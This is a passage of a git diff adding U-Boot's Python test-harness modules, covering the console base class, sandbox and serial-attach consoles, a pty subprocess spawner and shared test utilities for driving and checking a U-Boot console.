+ self.orig_timeout = self.p.timeout
+ self.p.timeout = timeout
+
+ def __enter__(self):
+ return self
+
+ def __exit__(self, extype, value, traceback):
+ self.p.timeout = self.orig_timeout
+
+class ConsoleBase(object):
+ """The interface through which test functions interact with the U-Boot
+ console. This primarily involves executing shell commands, capturing their
+ results, and checking for common error conditions. Some common utilities
+ are also provided too."""
+
+ def __init__(self, log, config, max_fifo_fill):
+ """Initialize a U-Boot console connection.
+
+ Can only usefully be called by sub-classes.
+
+ Args:
+ log: A mulptiplex_log.Logfile object, to which the U-Boot output
+ will be logged.
+ config: A configuration data structure, as built by conftest.py.
+ max_fifo_fill: The maximum number of characters to send to U-Boot
+ command-line before waiting for U-Boot to echo the characters
+ back. For UART-based HW without HW flow control, this value
+ should be set less than the UART RX FIFO size to avoid
+ overflow, assuming that U-Boot can't keep up with full-rate
+ traffic at the baud rate.
+
+ Returns:
+ Nothing.
+ """
+
+ self.log = log
+ self.config = config
+ self.max_fifo_fill = max_fifo_fill
+
+ self.logstream = self.log.get_stream('console', sys.stdout)
+
+ # Array slice removes leading/trailing quotes
+ self.prompt = self.config.buildconfig['config_sys_prompt'][1:-1]
+ self.prompt_compiled = re.compile('^' + re.escape(self.prompt), re.MULTILINE)
+ self.p = None
+ self.disable_check_count = {pat[PAT_ID]: 0 for pat in bad_pattern_defs}
+ self.eval_bad_patterns()
+
+ self.at_prompt = False
+ self.at_prompt_logevt = None
+
+ def get_spawn(self):
+ # This is not called, ssubclass must define this.
+ # Return a value to avoid:
+ # u_boot_console_base.py:348:12: E1128: Assigning result of a function
+ # call, where the function returns None (assignment-from-none)
+ return u_boot_spawn.Spawn([])
+
+
+ def eval_bad_patterns(self):
+ self.bad_patterns = [pat[PAT_RE] for pat in bad_pattern_defs \
+ if self.disable_check_count[pat[PAT_ID]] == 0]
+ self.bad_pattern_ids = [pat[PAT_ID] for pat in bad_pattern_defs \
+ if self.disable_check_count[pat[PAT_ID]] == 0]
+
+ def close(self):
+ """Terminate the connection to the U-Boot console.
+
+ This function is only useful once all interaction with U-Boot is
+ complete. Once this function is called, data cannot be sent to or
+ received from U-Boot.
+
+ Args:
+ None.
+
+ Returns:
+ Nothing.
+ """
+
+ if self.p:
+ self.p.close()
+ self.logstream.close()
+
+ def wait_for_boot_prompt(self, loop_num = 1):
+ """Wait for the boot up until command prompt. This is for internal use only.
+ """
+ try:
+ bcfg = self.config.buildconfig
+ config_spl_serial = bcfg.get('config_spl_serial', 'n') == 'y'
+ env_spl_skipped = self.config.env.get('env__spl_skipped', False)
+ env_spl_banner_times = self.config.env.get('env__spl_banner_times', 1)
+
+ while loop_num > 0:
+ loop_num -= 1
+ while config_spl_serial and not env_spl_skipped and env_spl_banner_times > 0:
+ m = self.p.expect([pattern_u_boot_spl_signon] +
+ self.bad_patterns)
+ if m != 0:
+ raise Exception('Bad pattern found on SPL console: ' +
+ self.bad_pattern_ids[m - 1])
+ env_spl_banner_times -= 1
+
+ m = self.p.expect([pattern_u_boot_main_signon] + self.bad_patterns)
+ if m != 0:
+ raise Exception('Bad pattern found on console: ' +
+ self.bad_pattern_ids[m - 1])
+ self.u_boot_version_string = self.p.after
+ while True:
+ m = self.p.expect([self.prompt_compiled,
+ pattern_stop_autoboot_prompt] + self.bad_patterns)
+ if m == 0:
+ break
+ if m == 1:
+ self.p.send(' ')
+ continue
+ raise Exception('Bad pattern found on console: ' +
+ self.bad_pattern_ids[m - 2])
+
+ except Exception as ex:
+ self.log.error(str(ex))
+ self.cleanup_spawn()
+ raise
+ finally:
+ self.log.timestamp()
+
+ def run_command(self, cmd, wait_for_echo=True, send_nl=True,
+ wait_for_prompt=True, wait_for_reboot=False):
+ """Execute a command via the U-Boot console.
+
+ The command is always sent to U-Boot.
+
+ U-Boot echoes any command back to its output, and this function
+ typically waits for that to occur. The wait can be disabled by setting
+ wait_for_echo=False, which is useful e.g. when sending CTRL-C to
+ interrupt a long-running command such as "ums".
+
+ Command execution is typically triggered by sending a newline
+ character. This can be disabled by setting send_nl=False, which is
+ also useful when sending CTRL-C.
+
+ This function typically waits for the command to finish executing, and
+ returns the console output that it generated. This can be disabled by
+ setting wait_for_prompt=False, which is useful when invoking a long-
+ running command such as "ums".
+
+ Args:
+ cmd: The command to send.
+ wait_for_echo: Boolean indicating whether to wait for U-Boot to
+ echo the command text back to its output.
+ send_nl: Boolean indicating whether to send a newline character
+ after the command string.
+ wait_for_prompt: Boolean indicating whether to wait for the
+ command prompt to be sent by U-Boot. This typically occurs
+ immediately after the command has been executed.
+ wait_for_reboot: Boolean indication whether to wait for the
+ reboot U-Boot. If this sets True, wait_for_prompt must also
+ be True.
+
+ Returns:
+ If wait_for_prompt == False:
+ Nothing.
+ Else:
+ The output from U-Boot during command execution. In other
+ words, the text U-Boot emitted between the point it echod the
+ command string and emitted the subsequent command prompts.
+ """
+
+ if self.at_prompt and \
+ self.at_prompt_logevt != self.logstream.logfile.cur_evt:
+ self.logstream.write(self.prompt, implicit=True)
+
+ try:
+ self.at_prompt = False
+ if send_nl:
+ cmd += '\n'
+ while cmd:
+ # Limit max outstanding data, so UART FIFOs don't overflow
+ chunk = cmd[:self.max_fifo_fill]
+ cmd = cmd[self.max_fifo_fill:]
+ self.p.send(chunk)
+ if not wait_for_echo:
+ continue
+ chunk = re.escape(chunk)
+ chunk = chunk.replace('\\\n', '[\r\n]')
+ m = self.p.expect([chunk] + self.bad_patterns)
+ if m != 0:
+ self.at_prompt = False
+ raise Exception('Bad pattern found on console: ' +
+ self.bad_pattern_ids[m - 1])
+ if not wait_for_prompt:
+ return
+ if wait_for_reboot:
+ self.wait_for_boot_prompt()
+ else:
+ m = self.p.expect([self.prompt_compiled] + self.bad_patterns)
+ if m != 0:
+ self.at_prompt = False
+ raise Exception('Bad pattern found on console: ' +
+ self.bad_pattern_ids[m - 1])
+ self.at_prompt = True
+ self.at_prompt_logevt = self.logstream.logfile.cur_evt
+ # Only strip \r\n; space/TAB might be significant if testing
+ # indentation.
+ return self.p.before.strip('\r\n')
+ except Exception as ex:
+ self.log.error(str(ex))
+ self.cleanup_spawn()
+ raise
+ finally:
+ self.log.timestamp()
+
+ def run_command_list(self, cmds):
+ """Run a list of commands.
+
+ This is a helper function to call run_command() with default arguments
+ for each command in a list.
+
+ Args:
+ cmd: List of commands (each a string).
+ Returns:
+ A list of output strings from each command, one element for each
+ command.
+ """
+ output = []
+ for cmd in cmds:
+ output.append(self.run_command(cmd))
+ return output
+
+ def ctrlc(self):
+ """Send a CTRL-C character to U-Boot.
+
+ This is useful in order to stop execution of long-running synchronous
+ commands such as "ums".
+
+ Args:
+ None.
+
+ Returns:
+ Nothing.
+ """
+
+ self.log.action('Sending Ctrl-C')
+ self.run_command(chr(3), wait_for_echo=False, send_nl=False)
+
+ def wait_for(self, text):
+ """Wait for a pattern to be emitted by U-Boot.
+
+ This is useful when a long-running command such as "dfu" is executing,
+ and it periodically emits some text that should show up at a specific
+ location in the log file.
+
+ Args:
+ text: The text to wait for; either a string (containing raw text,
+ not a regular expression) or an re object.
+
+ Returns:
+ Nothing.
+ """
+
+ if type(text) == type(''):
+ text = re.escape(text)
+ m = self.p.expect([text] + self.bad_patterns)
+ if m != 0:
+ raise Exception('Bad pattern found on console: ' +
+ self.bad_pattern_ids[m - 1])
+
+ def drain_console(self):
+ """Read from and log the U-Boot console for a short time.
+
+ U-Boot's console output is only logged when the test code actively
+ waits for U-Boot to emit specific data. There are cases where tests
+ can fail without doing this. For example, if a test asks U-Boot to
+ enable USB device mode, then polls until a host-side device node
+ exists. In such a case, it is useful to log U-Boot's console output
+ in case U-Boot printed clues as to why the host-side even did not
+ occur. This function will do that.
+
+ Args:
+ None.
+
+ Returns:
+ Nothing.
+ """
+
+ # If we are already not connected to U-Boot, there's nothing to drain.
+ # This should only happen when a previous call to run_command() or
+ # wait_for() failed (and hence the output has already been logged), or
+ # the system is shutting down.
+ if not self.p:
+ return
+
+ orig_timeout = self.p.timeout
+ try:
+ # Drain the log for a relatively short time.
+ self.p.timeout = 1000
+ # Wait for something U-Boot will likely never send. This will
+ # cause the console output to be read and logged.
+ self.p.expect(['This should never match U-Boot output'])
+ except:
+ # We expect a timeout, since U-Boot won't print what we waited
+ # for. Squash it when it happens.
+ #
+ # Squash any other exception too. This function is only used to
+ # drain (and log) the U-Boot console output after a failed test.
+ # The U-Boot process will be restarted, or target board reset, once
+ # this function returns. So, we don't care about detecting any
+ # additional errors, so they're squashed so that the rest of the
+ # post-test-failure cleanup code can continue operation, and
+ # correctly terminate any log sections, etc.
+ pass
+ finally:
+ self.p.timeout = orig_timeout
+
+ def ensure_spawned(self, expect_reset=False):
+ """Ensure a connection to a correctly running U-Boot instance.
+
+ This may require spawning a new Sandbox process or resetting target
+ hardware, as defined by the implementation sub-class.
+
+ This is an internal function and should not be called directly.
+
+ Args:
+ expect_reset: Boolean indication whether this boot is expected
+ to be reset while the 1st boot process after main boot before
+ prompt. False by default.
+
+ Returns:
+ Nothing.
+ """
+
+ if self.p:
+ # Reset the console timeout value as some tests may change
+ # its default value during the execution
+ if not self.config.gdbserver:
+ self.p.timeout = 30000
+ return
+ try:
+ self.log.start_section('Starting U-Boot')
+ self.at_prompt = False
+ self.p = self.get_spawn()
+ # Real targets can take a long time to scroll large amounts of
+ # text if LCD is enabled. This value may need tweaking in the
+ # future, possibly per-test to be optimal. This works for 'help'
+ # on board 'seaboard'.
+ if not self.config.gdbserver:
+ self.p.timeout = 30000
+ self.p.logfile_read = self.logstream
+ if expect_reset:
+ loop_num = 2
+ else:
+ loop_num = 1
+ self.wait_for_boot_prompt(loop_num = loop_num)
+ self.at_prompt = True
+ self.at_prompt_logevt = self.logstream.logfile.cur_evt
+ except Exception as ex:
+ self.log.error(str(ex))
+ self.cleanup_spawn()
+ raise
+ finally:
+ self.log.timestamp()
+ self.log.end_section('Starting U-Boot')
+
+ def cleanup_spawn(self):
+ """Shut down all interaction with the U-Boot instance.
+
+ This is used when an error is detected prior to re-establishing a
+ connection with a fresh U-Boot instance.
+
+ This is an internal function and should not be called directly.
+
+ Args:
+ None.
+
+ Returns:
+ Nothing.
+ """
+
+ try:
+ if self.p:
+ self.p.close()
+ except:
+ pass
+ self.p = None
+
+ def restart_uboot(self, expect_reset=False):
+ """Shut down and restart U-Boot."""
+ self.cleanup_spawn()
+ self.ensure_spawned(expect_reset)
+
+ def get_spawn_output(self):
+ """Return the start-up output from U-Boot
+
+ Returns:
+ The output produced by ensure_spawed(), as a string.
+ """
+ if self.p:
+ return self.p.get_expect_output()
+ return None
+
+ def validate_version_string_in_text(self, text):
+ """Assert that a command's output includes the U-Boot signon message.
+
+ This is primarily useful for validating the "version" command without
+ duplicating the signon text regex in a test function.
+
+ Args:
+ text: The command output text to check.
+
+ Returns:
+ Nothing. An exception is raised if the validation fails.
+ """
+
+ assert(self.u_boot_version_string in text)
+
+ def disable_check(self, check_type):
+ """Temporarily disable an error check of U-Boot's output.
+
+ Create a new context manager (for use with the "with" statement) which
+ temporarily disables a particular console output error check.
+
+ Args:
+ check_type: The type of error-check to disable. Valid values may
+ be found in self.disable_check_count above.
+
+ Returns:
+ A context manager object.
+ """
+
+ return ConsoleDisableCheck(self, check_type)
+
+ def temporary_timeout(self, timeout):
+ """Temporarily set up different timeout for commands.
+
+ Create a new context manager (for use with the "with" statement) which
+ temporarily change timeout.
+
+ Args:
+ timeout: Time in milliseconds.
+
+ Returns:
+ A context manager object.
+ """
+
+ return ConsoleSetupTimeout(self, timeout)
diff --git a/test/py/u_boot_console_exec_attach.py b/test/py/u_boot_console_exec_attach.py
new file mode 100644
index 00000000000..8dd8cc1230c
--- /dev/null
+++ b/test/py/u_boot_console_exec_attach.py
@@ -0,0 +1,72 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+"""
+Logic to interact with U-Boot running on real hardware, typically via a
+physical serial port.
+"""
+
+import sys
+from u_boot_spawn import Spawn
+from u_boot_console_base import ConsoleBase
+
+class ConsoleExecAttach(ConsoleBase):
+ """Represents a physical connection to a U-Boot console, typically via a
+ serial port. This implementation executes a sub-process to attach to the
+ console, expecting that the stdin/out of the sub-process will be forwarded
+ to/from the physical hardware. This approach isolates the test infra-
+ structure from the user-/installation-specific details of how to
+ communicate with, and the identity of, serial ports etc."""
+
+ def __init__(self, log, config):
+ """Initialize a U-Boot console connection.
+
+ Args:
+ log: A multiplexed_log.Logfile instance.
+ config: A "configuration" object as defined in conftest.py.
+
+ Returns:
+ Nothing.
+ """
+
+ # The max_fifo_fill value might need tweaking per-board/-SoC?
+ # 1 would be safe anywhere, but is very slow (a pexpect issue?).
+ # 16 is a common FIFO size.
+ # HW flow control would mean this could be infinite.
+ super(ConsoleExecAttach, self).__init__(log, config, max_fifo_fill=16)
+
+ with self.log.section('flash'):
+ self.log.action('Flashing U-Boot')
+ cmd = ['u-boot-test-flash', config.board_type, config.board_identity]
+ runner = self.log.get_runner(cmd[0], sys.stdout)
+ runner.run(cmd)
+ runner.close()
+ self.log.status_pass('OK')
+
+ def get_spawn(self):
+ """Connect to a fresh U-Boot instance.
+
+ The target board is reset, so that U-Boot begins running from scratch.
+
+ Args:
+ None.
+
+ Returns:
+ A u_boot_spawn.Spawn object that is attached to U-Boot.
+ """
+
+ args = [self.config.board_type, self.config.board_identity]
+ s = Spawn(['u-boot-test-console'] + args)
+
+ try:
+ self.log.action('Resetting board')
+ cmd = ['u-boot-test-reset'] + args
+ runner = self.log.get_runner(cmd[0], sys.stdout)
+ runner.run(cmd)
+ runner.close()
+ except:
+ s.close()
+ raise
+
+ return s
diff --git a/test/py/u_boot_console_sandbox.py b/test/py/u_boot_console_sandbox.py
new file mode 100644
index 00000000000..27c6db8d719
--- /dev/null
+++ b/test/py/u_boot_console_sandbox.py
@@ -0,0 +1,119 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+"""
+Logic to interact with the sandbox port of U-Boot, running as a sub-process.
+"""
+
+import time
+from u_boot_spawn import Spawn
+from u_boot_console_base import ConsoleBase
+
+class ConsoleSandbox(ConsoleBase):
+ """Represents a connection to a sandbox U-Boot console, executed as a sub-
+ process."""
+
+ def __init__(self, log, config):
+ """Initialize a U-Boot console connection.
+
+ Args:
+ log: A multiplexed_log.Logfile instance.
+ config: A "configuration" object as defined in conftest.py.
+
+ Returns:
+ Nothing.
+ """
+
+ super(ConsoleSandbox, self).__init__(log, config, max_fifo_fill=1024)
+ self.sandbox_flags = []
+ self.use_dtb = True
+
+ def get_spawn(self):
+ """Connect to a fresh U-Boot instance.
+
+ A new sandbox process is created, so that U-Boot begins running from
+ scratch.
+
+ Args:
+ None.
+
+ Returns:
+ A u_boot_spawn.Spawn object that is attached to U-Boot.
+ """
+
+ bcfg = self.config.buildconfig
+ config_spl = bcfg.get('config_spl', 'n') == 'y'
+ config_vpl = bcfg.get('config_vpl', 'n') == 'y'
+ if config_vpl:
+ # Run TPL first, which runs VPL
+ fname = '/tpl/u-boot-tpl'
+ else:
+ fname = '/spl/u-boot-spl' if config_spl else '/u-boot'
+ print(fname)
+ cmd = []
+ if self.config.gdbserver:
+ cmd += ['gdbserver', self.config.gdbserver]
+ cmd += [self.config.build_dir + fname, '-v']
+ if self.use_dtb:
+ cmd += ['-d', self.config.dtb]
+ cmd += self.sandbox_flags
+ return Spawn(cmd, cwd=self.config.source_dir)
+
+ def restart_uboot_with_flags(self, flags, expect_reset=False, use_dtb=True):
+ """Run U-Boot with the given command-line flags
+
+ Args:
+ flags: List of flags to pass, each a string
+ expect_reset: Boolean indication whether this boot is expected
+ to be reset while the 1st boot process after main boot before
+ prompt. False by default.
+ use_dtb: True to use a device tree file, False to run without one
+
+ Returns:
+ A u_boot_spawn.Spawn object that is attached to U-Boot.
+ """
+
+ try:
+ self.sandbox_flags = flags
+ self.use_dtb = use_dtb
+ return self.restart_uboot(expect_reset)
+ finally:
+ self.sandbox_flags = []
+ self.use_dtb = True
+
+ def kill(self, sig):
+ """Send a specific Unix signal to the sandbox process.
+
+ Args:
+ sig: The Unix signal to send to the process.
+
+ Returns:
+ Nothing.
+ """
+
+ self.log.action('kill %d' % sig)
+ self.p.kill(sig)
+
+ def validate_exited(self):
+ """Determine whether the sandbox process has exited.
+
+ If required, this function waits a reasonable time for the process to
+ exit.
+
+ Args:
+ None.
+
+ Returns:
+ Boolean indicating whether the process has exited.
+ """
+
+ p = self.p
+ self.p = None
+ for i in range(100):
+ ret = not p.isalive()
+ if ret:
+ break
+ time.sleep(0.1)
+ p.close()
+ return ret
diff --git a/test/py/u_boot_spawn.py b/test/py/u_boot_spawn.py
new file mode 100644
index 00000000000..7c48d96210e
--- /dev/null
+++ b/test/py/u_boot_spawn.py
@@ -0,0 +1,241 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+"""
+Logic to spawn a sub-process and interact with its stdio.
+"""
+
+import os
+import re
+import pty
+import signal
+import select
+import time
+import traceback
+
+class Timeout(Exception):
+ """An exception sub-class that indicates that a timeout occurred."""
+
+class Spawn:
+ """Represents the stdio of a freshly created sub-process. Commands may be
+ sent to the process, and responses waited for.
+
+ Members:
+ output: accumulated output from expect()
+ """
+
+ def __init__(self, args, cwd=None):
+ """Spawn (fork/exec) the sub-process.
+
+ Args:
+ args: array of processs arguments. argv[0] is the command to
+ execute.
+ cwd: the directory to run the process in, or None for no change.
+
+ Returns:
+ Nothing.
+ """
+
+ self.waited = False
+ self.exit_code = 0
+ self.exit_info = ''
+ self.buf = ''
+ self.output = ''
+ self.logfile_read = None
+ self.before = ''
+ self.after = ''
+ self.timeout = None
+ # http://stackoverflow.com/questions/7857352/python-regex-to-match-vt100-escape-sequences
+ self.re_vt100 = re.compile(r'(\x1b\[|\x9b)[^@-_]*[@-_]|\x1b[@-_]', re.I)
+
+ (self.pid, self.fd) = pty.fork()
+ if self.pid == 0:
+ try:
+ # For some reason, SIGHUP is set to SIG_IGN at this point when
+ # run under "go" (www.go.cd). Perhaps this happens under any
+ # background (non-interactive) system?
+ signal.signal(signal.SIGHUP, signal.SIG_DFL)
+ if cwd:
+ os.chdir(cwd)
+ os.execvp(args[0], args)
+ except:
+ print('CHILD EXECEPTION:')
+ traceback.print_exc()
+ finally:
+ os._exit(255)
+
+ try:
+ self.poll = select.poll()
+ self.poll.register(self.fd, select.POLLIN | select.POLLPRI | select.POLLERR |
+ select.POLLHUP | select.POLLNVAL)
+ except:
+ self.close()
+ raise
+
+ def kill(self, sig):
+ """Send unix signal "sig" to the child process.
+
+ Args:
+ sig: The signal number to send.
+
+ Returns:
+ Nothing.
+ """
+
+ os.kill(self.pid, sig)
+
+ def checkalive(self):
+ """Determine whether the child process is still running.
+
+ Returns:
+ tuple:
+ True if process is alive, else False
+ 0 if process is alive, else exit code of process
+ string describing what happened ('' or 'status/signal n')
+ """
+
+ if self.waited:
+ return False, self.exit_code, self.exit_info
+
+ w = os.waitpid(self.pid, os.WNOHANG)
+ if w[0] == 0:
+ return True, 0, 'running'
+ status = w[1]
+
+ if os.WIFEXITED(status):
+ self.exit_code = os.WEXITSTATUS(status)
+ self.exit_info = 'status %d' % self.exit_code
+ elif os.WIFSIGNALED(status):
+ signum = os.WTERMSIG(status)
+ self.exit_code = -signum
+ self.exit_info = 'signal %d (%s)' % (signum, signal.Signals(signum).name)
+ self.waited = True
+ return False, self.exit_code, self.exit_info
+
+ def isalive(self):
+ """Determine whether the child process is still running.
+
+ Args:
+ None.
+
+ Returns:
+ Boolean indicating whether process is alive.
+ """
+ return self.checkalive()[0]
+
+ def send(self, data):
+ """Send data to the sub-process's stdin.
+
+ Args:
+ data: The data to send to the process.
+
+ Returns:
+ Nothing.
+ """
+
+ os.write(self.fd, data.encode(errors='replace'))
+
+ def expect(self, patterns):
+ """Wait for the sub-process to emit specific data.
+
+ This function waits for the process to emit one pattern from the
+ supplied list of patterns, or for a timeout to occur.
+
+ Args:
+ patterns: A list of strings or regex objects that we expect to
+ see in the sub-process' stdout.
+
+ Returns:
+ The index within the patterns array of the pattern the process
+ emitted.
+
+ Notable exceptions:
+ Timeout, if the process did not emit any of the patterns within
+ the expected time.
+ """
+
+ for pi in range(len(patterns)):
+ if type(patterns[pi]) == type(''):
+ patterns[pi] = re.compile(patterns[pi])
+
+ tstart_s = time.time()
+ try:
+ while True:
+ earliest_m = None
+ earliest_pi = None
+ for pi in range(len(patterns)):
+ pattern = patterns[pi]
+ m = pattern.search(self.buf)
+ if not m:
+ continue
+ if earliest_m and m.start() >= earliest_m.start():
+ continue
+ earliest_m = m
+ earliest_pi = pi
+ if earliest_m:
+ pos = earliest_m.start()
+ posafter = earliest_m.end()
+ self.before = self.buf[:pos]
+ self.after = self.buf[pos:posafter]
+ self.output += self.buf[:posafter]
+ self.buf = self.buf[posafter:]
+ return earliest_pi
+ tnow_s = time.time()
+ if self.timeout:
+ tdelta_ms = (tnow_s - tstart_s) * 1000
+ poll_maxwait = self.timeout - tdelta_ms
+ if tdelta_ms > self.timeout:
+ raise Timeout()
+ else:
+ poll_maxwait = None
+ events = self.poll.poll(poll_maxwait)
+ if not events:
+ raise Timeout()
+ try:
+ c = os.read(self.fd, 1024).decode(errors='replace')
+ except OSError as err:
+ # With sandbox, try to detect when U-Boot exits when it
+ # shouldn't and explain why. This is much more friendly than
+ # just dying with an I/O error
+ if err.errno == 5: # Input/output error
+ alive, _, info = self.checkalive()
+ if alive:
+ raise err
+ raise ValueError('U-Boot exited with %s' % info)
+ raise err
+ if self.logfile_read:
+ self.logfile_read.write(c)
+ self.buf += c
+ # count=0 is supposed to be the default, which indicates
+ # unlimited substitutions, but in practice the version of
+ # Python in Ubuntu 14.04 appears to default to count=2!
+ self.buf = self.re_vt100.sub('', self.buf, count=1000000)
+ finally:
+ if self.logfile_read:
+ self.logfile_read.flush()
+
+ def close(self):
+ """Close the stdio connection to the sub-process.
+
+ This also waits a reasonable time for the sub-process to stop running.
+
+ Args:
+ None.
+
+ Returns:
+ Nothing.
+ """
+
+ os.close(self.fd)
+ for _ in range(100):
+ if not self.isalive():
+ break
+ time.sleep(0.1)
+
+ def get_expect_output(self):
+ """Return the output read by expect()
+
+ Returns:
+ The output processed by expect(), as a string.
+ """
+ return self.output
diff --git a/test/py/u_boot_utils.py b/test/py/u_boot_utils.py
new file mode 100644
index 00000000000..9e161fbc238
--- /dev/null
+++ b/test/py/u_boot_utils.py
@@ -0,0 +1,382 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+
+"""
+Utility code shared across multiple tests.
+"""
+
+import hashlib
+import inspect
+import os
+import os.path
+import pathlib
+import signal
+import sys
+import time
+import re
+import pytest
+
+def md5sum_data(data):
+ """Calculate the MD5 hash of some data.
+
+ Args:
+ data: The data to hash.
+
+ Returns:
+ The hash of the data, as a binary string.
+ """
+
+ h = hashlib.md5()
+ h.update(data)
+ return h.digest()
+
+def md5sum_file(fn, max_length=None):
+ """Calculate the MD5 hash of the contents of a file.
+
+ Args:
+ fn: The filename of the file to hash.
+ max_length: The number of bytes to hash. If the file has more
+ bytes than this, they will be ignored. If None or omitted, the
+ entire file will be hashed.
+
+ Returns:
+ The hash of the file content, as a binary string.
+ """
+
+ with open(fn, 'rb') as fh:
+ if max_length:
+ params = [max_length]
+ else:
+ params = []
+ data = fh.read(*params)
+ return md5sum_data(data)
+
+class PersistentRandomFile:
+ """Generate and store information about a persistent file containing
+ random data."""
+
+ def __init__(self, u_boot_console, fn, size):
+ """Create or process the persistent file.
+
+ If the file does not exist, it is generated.
+
+ If the file does exist, its content is hashed for later comparison.
+
+ These files are always located in the "persistent data directory" of
+ the current test run.
+
+ Args:
+ u_boot_console: A console connection to U-Boot.
+ fn: The filename (without path) to create.
+ size: The desired size of the file in bytes.
+
+ Returns:
+ Nothing.
+ """
+
+ self.fn = fn
+
+ self.abs_fn = u_boot_console.config.persistent_data_dir + '/' + fn
+
+ if os.path.exists(self.abs_fn):
+ u_boot_console.log.action('Persistent data file ' + self.abs_fn +
+ ' already exists')
+ self.content_hash = md5sum_file(self.abs_fn)
+ else:
+ u_boot_console.log.action('Generating ' + self.abs_fn +
+ ' (random, persistent, %d bytes)' % size)
+ data = os.urandom(size)
+ with open(self.abs_fn, 'wb') as fh:
+ fh.write(data)
+ self.content_hash = md5sum_data(data)
+
+def attempt_to_open_file(fn):
+ """Attempt to open a file, without throwing exceptions.
+
+ Any errors (exceptions) that occur during the attempt to open the file
+ are ignored. This is useful in order to test whether a file (in
+ particular, a device node) exists and can be successfully opened, in order
+ to poll for e.g. USB enumeration completion.
+
+ Args:
+ fn: The filename to attempt to open.
+
+ Returns:
+ An open file handle to the file, or None if the file could not be
+ opened.
+ """
+
+ try:
+ return open(fn, 'rb')
+ except:
+ return None
+
+def wait_until_open_succeeds(fn):
+ """Poll until a file can be opened, or a timeout occurs.
+
+ Continually attempt to open a file, and return when this succeeds, or
+ raise an exception after a timeout.
+
+ Args:
+ fn: The filename to attempt to open.
+
+ Returns:
+ An open file handle to the file.
+ """
+
+ for i in range(100):
+ fh = attempt_to_open_file(fn)
+ if fh:
+ return fh
+ time.sleep(0.1)
+ raise Exception('File could not be opened')
+
+def wait_until_file_open_fails(fn, ignore_errors):
+ """Poll until a file cannot be opened, or a timeout occurs.
+
+ Continually attempt to open a file, and return when this fails, or
+ raise an exception after a timeout.
+
+ Args:
+ fn: The filename to attempt to open.
+ ignore_errors: Indicate whether to ignore timeout errors. If True, the
+ function will simply return if a timeout occurs, otherwise an
+ exception will be raised.
+
+ Returns:
+ Nothing.
+ """
+
+ for _ in range(100):
+ fh = attempt_to_open_file(fn)
+ if not fh:
+ return
+ fh.close()
+ time.sleep(0.1)
+ if ignore_errors:
+ return
+ raise Exception('File can still be opened')
+
+def run_and_log(u_boot_console, cmd, ignore_errors=False, stdin=None, env=None):
+ """Run a command and log its output.
+
+ Args:
+ u_boot_console: A console connection to U-Boot.
+ cmd: The command to run, as an array of argv[], or a string.
+ If a string, note that it is split up so that quoted spaces
+ will not be preserved. E.g. "fred and" becomes ['"fred', 'and"']
+ ignore_errors: Indicate whether to ignore errors. If True, the function
+ will simply return if the command cannot be executed or exits with
+ an error code, otherwise an exception will be raised if such
+ problems occur.
+ stdin: Input string to pass to the command as stdin (or None)
+ env: Environment to use, or None to use the current one
+
+ Returns:
+ The output as a string.
+ """
+ if isinstance(cmd, str):
+ cmd = cmd.split()
+ runner = u_boot_console.log.get_runner(cmd[0], sys.stdout)
+ output = runner.run(cmd, ignore_errors=ignore_errors, stdin=stdin, env=env)
+ runner.close()
+ return output
+
+def run_and_log_expect_exception(u_boot_console, cmd, retcode, msg):
+ """Run a command that is expected to fail.
+
+ This runs a command and checks that it fails with the expected return code
+ and exception method. If not, an exception is raised.
+
+ Args:
+ u_boot_console: A console connection to U-Boot.
+ cmd: The command to run, as an array of argv[].
+ retcode: Expected non-zero return code from the command.
+ msg: String that should be contained within the command's output.
+ """
+ try:
+ runner = u_boot_console.log.get_runner(cmd[0], sys.stdout)
+ runner.run(cmd)
+ except Exception:
+ assert retcode == runner.exit_status
+ assert msg in runner.output
+ else:
+ raise Exception("Expected an exception with retcode %d message '%s',"
+ "but it was not raised" % (retcode, msg))
+ finally:
+ runner.close()
+
+ram_base = None
+def find_ram_base(u_boot_console):
+ """Find the running U-Boot's RAM location.
+
+ Probe the running U-Boot to determine the address of the first bank
+ of RAM. This is useful for tests that test reading/writing RAM, or
+ load/save files that aren't associated with some standard address
+ typically represented in an environment variable such as
+ ${kernel_addr_r}. The value is cached so that it only needs to be
+ actively read once.
+
+ Args:
+ u_boot_console: A console connection to U-Boot.
+
+ Returns:
+ The address of U-Boot's first RAM bank, as an integer.
+ """
+
+ global ram_base
+ if u_boot_console.config.buildconfig.get('config_cmd_bdi', 'n') != 'y':
+ pytest.skip('bdinfo command not supported')
+ if ram_base == -1:
+ pytest.skip('Previously failed to find RAM bank start')
+ if ram_base is not None:
+ return ram_base
+
+ with u_boot_console.log.section('find_ram_base'):
+ response = u_boot_console.run_command('bdinfo')
+ for l in response.split('\n'):
+ if '-> start' in l or 'memstart =' in l:
+ ram_base = int(l.split('=')[1].strip(), 16)
+ break
+ if ram_base is None:
+ ram_base = -1
+ raise Exception('Failed to find RAM bank start in `bdinfo`')
+
+ # We don't want ram_base to be zero as some functions test if the given
+ # address is NULL (0). Besides, on some RISC-V targets the low memory
+ # is protected that prevents S-mode U-Boot from access.
+ # Let's add 2MiB then (size of an ARM LPAE/v8 section).
+
+ ram_base += 1024 * 1024 * 2
+
+ return ram_base
+
+class PersistentFileHelperCtxMgr(object):
+ """A context manager for Python's "with" statement, which ensures that any
+ generated file is deleted (and hence regenerated) if its mtime is older
+ than the mtime of the Python module which generated it, and gets an mtime
+ newer than the mtime of the Python module which generated after it is
+ generated. Objects of this type should be created by factory function
+ persistent_file_helper rather than directly."""
+
+ def __init__(self, log, filename):
+ """Initialize a new object.
+
+ Args:
+ log: The Logfile object to log to.
+ filename: The filename of the generated file.
+
+ Returns:
+ Nothing.
+ """
+
+ self.log = log
+ self.filename = filename
+
+ def __enter__(self):
+ frame = inspect.stack()[1]
+ module = inspect.getmodule(frame[0])
+ self.module_filename = module.__file__
+ self.module_timestamp = os.path.getmtime(self.module_filename)
+
+ if os.path.exists(self.filename):
+ filename_timestamp = os.path.getmtime(self.filename)
+ if filename_timestamp < self.module_timestamp:
+ self.log.action('Removing stale generated file ' +
+ self.filename)
+ pathlib.Path(self.filename).unlink()
